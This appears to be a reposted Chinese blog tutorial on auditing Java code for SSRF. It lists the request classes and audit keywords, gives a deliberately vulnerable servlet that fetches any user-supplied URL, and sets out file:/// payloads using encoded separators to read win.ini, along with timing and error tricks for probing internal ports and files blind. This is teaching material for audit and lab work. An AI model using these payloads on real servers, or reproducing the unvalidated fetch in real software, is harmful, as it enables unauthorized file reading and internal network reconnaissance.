java代码审计6之ssrf

news2024/11/24 2:44:14

文章目录

  • 1、java支持的网络请求协议:
  • 2、Java 中能发起⽹络请求的类
      • 2.1、仅⽀持 HTTP/HTTPS 协议的类
      • 2.2、⽀持 sun.net.www.protocol 所有协议的类
      • 2.3、审计关键词
  • 3、靶场
      • 3.1、漏洞代码1
      • 3.2、ftp协议读取技巧
      • 3.3、无回显之探测内网
      • 3.4、无回显之探测文件

之前的文章,
php代码审计8之SSRF

1、java支持的网络请求协议:

file ftp mailto http https jar netdoc

在jdk1.7(含)以下还支持gopher协议;

在这里插入图片描述
小结:

Java中的SSRF相比php危害会小一些

遇到ssrf尝试使用ftp://来读取一些文件

2、Java 中能发起⽹络请求的类

2.1、仅⽀持 HTTP/HTTPS 协议的类

HttpClient 					类
HttpURLConnection 			类
OkHttp 						类
Request 					类

2.2、⽀持 sun.net.www.protocol 所有协议的类

URLConnection 			类
URL 					类
ImageIO 				类

2.3、审计关键词


HttpClient.execute
HttpClient.executeMethod
HttpURLConnection.connect
HttpURLConnection.getInputStream
URL.openStream
URLConnection.getInputStream
Request.Get.execute
Request.Post.execute
ImageIO.read
OkHttpClient.newCall.execute
HttpServletRequest
BasicHttpRequest

3、靶场

3.1、漏洞代码1

package com.example.demo;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.URL;
import java.net.URLConnection;
@WebServlet("/ssrf1")
public class test extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp)
            throws ServletException, IOException {
        req.setCharacterEncoding("utf-8");
        resp.setCharacterEncoding("utf-8");
        resp.setContentType("text/html; charset=utf-8");
        String url = req.getParameter("url");
        System.out.println(url);
        StringBuffer sb = new StringBuffer();
        URL pic = new URL(url);
        URLConnection urlConnection = pic.openConnection();
        BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream(),"UTF-8"));
        String line;
        while ((line =in.readLine())!=null){
            sb.append(line);
        }
        in.close();
        resp.getWriter().write(sb.toString());
    }
    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp
    ) throws ServletException, IOException {
        this.doGet(req,resp);
    }
}

3.2、ftp协议读取技巧

使用斜杠“\”全失败,但是编码后的“%5c”都可以成功

使用反斜杠“/”都成功,编码后的“%2f”都可以成功

不使用斜杠/反斜杠也可以成功
ssrf1?url=file:///c:\windows%5c%5cwin.ini					失败
ssrf1?url=file:///c:\\windows%5c%5cwin.ini					失败
ssrf1?url=file:///c:\\\windows%5c%5cwin.ini					失败

、、下边都成功
ssrf1?url=file:///c:%5cwindows%5c%5cwin.ini
ssrf1?url=file:///c:%5c%5cwindows%5c%5cwin.ini			
ssrf1?url=file:///c:%5c%5c%5cwindows%5c%5cwin.ini
ssrf1?url=file:///c:%5c%5c%5c%5cwindows%5c%5cwin.ini


ssrf1?url=file:///c:windows%5c%5cwin.ini						、、不加斜杠或者反斜杠


、、下边都成功,都是反斜杠“/”或者其编码的
ssrf1?url=file:///c:/windows%5c%5cwin.ini						
ssrf1?url=file:///c://windows%5c%5cwin.ini					
ssrf1?url=file:///c:///windows%5c%5cwin.ini					
ssrf1?url=file:///c:windows%5c%5cwin.ini				
ssrf1?url=file:///c:%2fwindows%5c%5cwin.ini
ssrf1?url=file:///c:%2f%2fwindows%5c%5cwin.ini
ssrf1?url=file:///c:%2f%2f%2fwindows%5c%5cwin.ini
ssrf1?url=file:///c:%2f%2f%2f%2fwindows%5c%5cwin.ini
另外在之前的任意文件读取之中,说到任意文件读取在win系统的情况下不能跨磁盘读取,
	
	比如代码在D盘就无法读取C盘的内容

但是经过测试,ssrf使用ftp协议是可以跨磁盘读取的,

这里问题应该在与“ftp协议”本身就可以读取任何磁盘内容

3.3、无回显之探测内网

ssrf无回显的情况很常见,测试思路就是使用外部平台配合,

这个基础的问题不是今天要说的,要说的是根据不同的报错来确认文件,


当访问不通的端口时,提示链接被拒绝,
	
	Connection refused: connect

在这里插入图片描述
访问通顺的端口且文件存在时,
在这里插入图片描述
当访问通顺的端口文件不存在时,
在这里插入图片描述
小结,

访问畅通的端口且文件不存在时,可能会报错,且返回时间最短

访问畅通的端口且文件存在时,没有报错,返回时间比上边差不太多(实际之中可能较难区分)

访问不畅通的端口时,可能会报错,且返回时间明显比上述长

3.4、无回显之探测文件

探测存在的文件时,一切正常,

在这里插入图片描述
探测不存在的文件时,报错
在这里插入图片描述
小结,

访问存在的文件,一切正常

访问不存在的文件,可能会返回报错,

但是以上两种请求,时间几乎一致

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/795297.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

代码随想录额外题目| 链表 ●234回文链表●143重排链表 ●141环形链表

#234回文链表 简单方法很简单&#xff08;转成vector判断&#xff09;&#xff0c;难的方法有点难, 很巧妙 简单方法&#xff1a; bool isPalindrome(ListNode* head) {vector<int> vec;ListNode* curhead;while(cur){vec.push_back(cur->val);curcur->next;}i…

Window和linux使用samba实现文件共享

开发环境 开发平台&#xff1a;IMX6 虚拟机环境&#xff1a;Ubuntu16.04 Samba版本&#xff1a;3.4.17 目的 实现无论IMX6作为客户端还是服务端&#xff0c;IMX6系统下与window系统、ubuntu系统文件共享。 Samba移植 下载Samba源码,这个网上一搜大把&#xff0c;我用的版本…

C++ | 构造与析构

目录 普通构造 构造函数基础 显示调用与隐式调用 explicit关键字 初始化列表 拷贝构造 拷贝构造的写法 深拷贝和浅拷贝 拷贝构造的调用时机 返回值优化 析构函数 析构函数基础 析构函数的作用 注意事项 如果无法调用构造函数&#xff0c;那么就无法实例化出对象…

python进阶书籍的推荐 知乎,python入门后如何进阶

本篇文章给大家谈谈python进阶书籍的推荐 知乎&#xff0c;以及python入门后如何进阶&#xff0c;希望对各位有所帮助&#xff0c;不要忘了收藏本站喔。 1、Python应该怎么学_python应该怎么学 想要学习Python&#xff0c;需要掌握的内容还是比较多的&#xff0c;对于自学的同…

java设计模式之模板模式(结合示例)

文章目录 &#x1f4cb;模板模式概念&#x1f4d6;组成要素&#x1f516;代码示例 &#x1f4c8;总结 &#x1f4cb;模板模式概念 在Java中&#xff0c;模板模式&#xff08;Template Pattern&#xff09;是一种行为设计模式&#xff0c;它定义了一个操作中的算法框架&#xf…

Unity游戏源码分享-街机捕鱼2017版本

Unity游戏源码分享-街机捕鱼2017版本 完整的单机游戏 功能玩法&#xff0c;积分系统都已经齐全的了。 项目源码地址&#xff1a;https://download.csdn.net/download/Highning0007/88105459

音视频——帧内预测

H264编码(帧内预测) 在帧内预测模式中&#xff0c;预测块P是基于已编码重建块和当前块形成的。对亮度像素而言&#xff0c;P块用于44子块或者1616宏块的相关操作。44亮度子块有9种可选预测模式&#xff0c;独立预测每一个44亮度子块&#xff0c;适用于带有大量细节的图像编码&…

C语言中的函数(超详细)

C语言中的函数&#xff08;超详细&#xff09; 一、函数概述二、C语言中函数的分类1.库函数2.自定义函数三、函数的参数1.实际参数&#xff08;实参&#xff09;2.形式参数&#xff08;形参&#xff09;四、函数的调用1.传值调用2.传址调用五、函数的嵌套调用和链式访问1.嵌套调…

【手机】三星手机刷机解决SecSetupWizard已停止

三星手机恢复出厂设置之后&#xff0c;出现SecSetupWizard已停止的解决方案 零、问题 我手上有一部同学给的三星 GT-S6812I&#xff0c;这几天搞了张新卡&#xff0c;多余出的卡就放到这个手机上玩去了。因为是获取了root权限的&#xff08;直接使用KingRoot就可以&#xff0…

C++ 提高编程

C 提高编程 主要针对C泛型编程和STL技术 一、 模板 1、 概念 模板就是建立通用的模具&#xff0c;大大提高代码的复用性 模板特点 模板不可以直接使用&#xff0c;它只是一个框架 ​ 模板的通用并不是万能的 2、 函数模板 C 另一种编程思想为泛型编程&#xff0c;主要利用的…

ChatGPT如何帮助学生学习

​ 一些教育工作者担心学生可能使用ChatGPT作弊。因为这个AI工具能写报告和计算机代码&#xff0c;画出复杂图表……甚至已经有许多学校把ChatGPT屏蔽。 研究发现&#xff0c;学生作弊的主要原因是想考得好。是否作弊与作业和考试的打分方式有关&#xff0c;所以这与技术的便…

浅谈前端跨平台框架

概述 前端跨端实践是指在开发过程中&#xff0c;使用统一的代码库或框架来实现在不同平台上运行的应用程序。 这种实践旨在减少重复开发和维护成本&#xff0c;并提高开发效率和用户体验。 以下是一些前端跨端实践的方法和技术&#xff1a; 响应式设计&#xff08;Responsiv…

0-虚拟机补充知识

虚拟机克隆 如果想要构建服务器集群&#xff0c;没有必要一台一台的去进行安装&#xff0c;只要通过克隆就可以。 快速获得多台服务器主要有两种方式&#xff0c;分别为&#xff1a;直接拷贝操作和vmware的克隆操作 直接拷贝 将之前安装虚拟机的所有文件进行拷贝&#xff0…

聊聊单片机编程测量电机的电流

要测量电机的电流&#xff0c;可以使用电流传感器来实现。常见的电流传感器有霍尔效应传感器和电阻式传感器。 在单片机编程中&#xff0c;可以通过 ADC&#xff08;模拟数字转换器&#xff09;模块来实现对电流传感器输出电压的采样和转换。下面是一个简单的步骤&#xff1a;…

笔记本充满电后,充电器可以长期不拔,会有安全隐患吗?

笔记本充满电后&#xff0c;一直插着不拔 1.建议人在身边可以暂时不拔&#xff0c;偶尔还是要使用电池当笔记本电池充满之后&#xff0c;电脑会自动使用电源供电&#xff0c;不会使用电池供电 2.笔记本电池都带有电池保护机制&#xff0c;在电池充满电后会自动停止充电 3.现在…

Ceph的应用

文章目录 一、创建 CephFS 文件系统 MDS 接口1&#xff09;在管理节点创建 mds 服务2&#xff09;查看各个节点的 mds 服务3&#xff09;创建存储池&#xff0c;启用 ceph 文件系统4&#xff09;查看mds状态&#xff0c;一个up&#xff0c;其余两个待命&#xff0c;目前的工作的…

Python - Opencv + pyzbar实时摄像头识别二维码

直接上代码&#xff1a; import cv2 from pyzbar.pyzbar import decodecap cv2.VideoCapture(0) # 打开摄像头while True: # 循环读取摄像头帧ret, frame cap.read()# 在循环中&#xff0c;将每一帧作为图像输入&#xff0c;使用pyzbar的decode()函数识别二维码barcodes …

gitignore文件使用方法(gitignore教程)(git status --ignored)(git check-ignore -v <file>)

文章目录 Gitignore文件使用描述Gitignore基本语法1. 基本语法★★★★★2. 配置方法 匹配示例示例1示例2示例3 其他命令git status --ignored&#xff08;用于显示被Git忽略的文件和文件夹的状态&#xff09;git check-ignore -v <file>&#xff08;用于检查指定文件是否…

springMVC--异常处理

文章目录 springMVC--异常处理基本介绍局部异常应用实例演示局部异常处理机制代码实现测试(页面方式) 全局异常应用实例应用实例需求代码实现完成测试(页面方式) 自定义异常应用实例应用实例需求应用实例-代码实现完成测试 全局异常处理---SimpleMappingExceptionResolver基本说…

Docker 阿里云容器镜像服务

阿里云-容器镜像服务ACR 将本地/服务器docker image&#xff08;镜像&#xff09;推送到 阿里云容器镜像服务仓库 1. 在容器镜像服务ACR中创建个人实例 2. 进入个人实例 > 命名空间 创建命名空间 3. 进入个人实例 > 镜像仓库 创建镜像仓库 4. 进入镜像仓库 > 基本信…